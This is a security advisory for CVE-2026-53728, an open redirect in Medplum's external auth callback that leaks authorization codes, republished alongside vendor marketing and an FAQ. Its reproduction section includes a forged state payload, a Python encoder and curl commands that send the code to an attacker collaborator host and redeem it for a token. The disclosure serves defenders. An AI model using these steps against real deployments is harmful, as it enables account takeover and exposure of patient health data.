Summary
Medplum: Improper Validation of Redirect URI in External Auth Callback allows Authorization Code Leakage
The external identity provider callback at GET /auth/external accepts attacker-controlled redirect URIs that only need to start with a registered client redirect URI, rather than matching exactly. After a successful external IdP login, the server appends Medplum login and code values to that attacker-supplied URL and issues a redirect.
Because the external login request state is serialized as raw JSON and later trusted by the callback, an attacker who can tamper with state.redirectUri can cause Medplum to redirect authorization artifacts to an attacker-controlled endpoint. When the registered redirect URI is a bare origin or another prefix that can be extended into a different hostname, this becomes a cross-origin authorization code leak.
Technical Explanation
The vulnerable flow is exposed on the unauthenticated callback route GET /auth/external.
In externalCallbackHandler(), the server parses the external auth state and uses the decoded clientId and redirectUri after completing the IdP code exchange. If login succeeds and a client is found, the handler calls:
getClientRedirectUri(client, body.redirectUri, true)
The third argument explicitly enables partial matching. In getClientRedirectUri(), the function returns the attacker-supplied requestedUri whenever:
requestedUri.startsWith(uri)
As a result, any redirect URI beginning with a registered value is accepted. The returned URL is then passed into new URL(redirectUri), and the server appends login and code query parameters before calling res.redirect().
Although externalCallbackHandler() later performs an exact-match lookup, that result is only used for logging and does not block the redirect. Therefore, the request is still redirected to the attacker-controlled URL even when it is not an exact registered redirect URI.
A practical exploitation detail is that the registered redirect URI must be a prefix that can also prefix a different origin. For example:
- Registered:
http://callback.audit.local - Malicious:
http://callback.audit.local.oastify.com/cb
The client-side external auth flow serializes the login request directly into the IdP state as JSON, which makes tampering straightforward in an intercepted or manually crafted authorization request.
Steps to Reproduce
Preconditions
- The target
ClientApplicationhas anidentityProviderconfigured. - The target client has a registered redirect URI that is prefix-matchable into an attacker-controlled hostname, for example:
- Registered redirect URI:
http://callback.audit.local
- Registered redirect URI:
- The attacker controls a collaborator endpoint such as:
https://<collaborator-host>/cb
- The attacker uses a forged
state.redirectUrithat starts with the registered value, for example:http://callback.audit.local.oastify.com/cb- or a collaborator domain that matches your local proof setup
Example forged state
{"clientId":"<medplum-client-id>","redirectUri":"http://callback.audit.local.oastify.com/cb","codeChallenge":"attack-verifier-123","codeChallengeMethod":"plain"}
URL-encode the forged state
python3 - <<'PY'
import json, urllib.parse
state = {
"clientId": "<medplum-client-id>",
"redirectUri": "http://callback.audit.local.oastify.com/cb",
"codeChallenge": "attack-verifier-123",
"codeChallengeMethod": "plain",
}
print(urllib.parse.quote(json.dumps(state, separators=(',', ':'))))
PY
Replay the external callback with cURL
Use a valid IdP authorization code obtained from a normal external login flow, then call the vulnerable callback directly:curl -i 'http://api.audit.local:8103/auth/external?code=<valid-idp-code>&state=<URLENCODED_FORGED_STATE>
Expected result
The response is a 302 redirect to the attacker-controlled endpoint, including Medplum authorization artifacts in the query string:
HTTP/1.1 302 Found
Location: http://callback.audit.local.oastify.com/cb?login=<login-id>&code=<medplum-auth-code>
Collaborator proof
If redirectUri points to a Burp Collaborator, Interactsh, or another attacker-controlled HTTP endpoint, that service receives the inbound request containing the leaked code in the query string. This demonstrates that Medplum is willing to forward authorization artifacts to an attacker-controlled destination when state.redirectUri only prefix-matches a registered client redirect URI.
Optional impact validation
If the attacker supplied the PKCE verifier in the forged state, the leaked Medplum code can then be redeemed:
curl -i -X POST 'http://api.audit.local:8103/oauth2/token' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'grant_type=authorization_code&code=<medplum-auth-code>&code_verifier=attack-verifier-123'
Mitigation
- Require exact string equality for redirect URIs.
- Bind external auth state to a server-side session or use a HMAC/Signature.
- Reject prefixable or ambiguous redirect URI shapes during registration.
Impact
The impact of this vulnerability is Critical, as it facilitates a full Account Takeover (ATO) of any user utilizing the external identity provider (IdP) flow.
Full Account Takeover (ATO):
An attacker can successfully intercept the Medplum authorization 'code'. Because the attacker controls the 'state' object, they can provide their own PKCE 'code_challenge'. This allows the attacker to redeem the stolen code for a valid access token without knowing the victim's original secret, leading to total session hijacking.Bypassing Modern OAuth Protections:
This flaw explicitly bypasses the security benefits of PKCE (Proof Key for Code Exchange). By allowing an attacker to inject their own PKCE parameters into the tampered state, the server's verification mechanism is rendered useless against this specific redirection attack.Cross-Origin Data Leakage:
The 'startsWith' logic allows an attacker to break out of the intended origin. For example, a registered URI for 'https://app.medplum.com' could be extended to 'https://app.medplum.com.attacker.com', tricking the user and the browser's security model into sending sensitive credentials to an external host.Access to Sensitive Healthcare Data (PHI):
Given Medplum's role as a healthcare platform, a successful compromise grants the attacker the same permissions as the victim, potentially exposing Protected Health Information (PHI) and violating HIPAA or other regulatory compliance standards.Victim Trust Exploitation:
The attack occurs during a legitimate login flow. The victim interacts with the official Medplum server and their trusted IdP (e.g., Google or Microsoft), making the final redirection to the attacker-controlled URL nearly impossible for an average user to detect.
Untrusted input controls a URL used for redirection, which can forward users to attacker-controlled sites. Typical impact: phishing and credential harvesting via a trusted domain.
CVE-2026-53728 has a CVSS score of 7.1 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.1.6); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-53728? CVE-2026-53728 is a high-severity open redirect vulnerability in @medplum/core (npm), affecting versions <= 5.1.5. It is fixed in 5.1.6. Untrusted input controls a URL used for redirection, which can forward users to attacker-controlled sites.
- How severe is CVE-2026-53728? CVE-2026-53728 has a CVSS score of 7.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of @medplum/core are affected by CVE-2026-53728? @medplum/core (npm) versions <= 5.1.5 is affected.
- Is there a fix for CVE-2026-53728? Yes. CVE-2026-53728 is fixed in 5.1.6. Upgrade to this version or later.
- Is CVE-2026-53728 exploitable, and should I be worried? Whether CVE-2026-53728 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-53728 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-53728? Upgrade
@medplum/coreto 5.1.6 or later.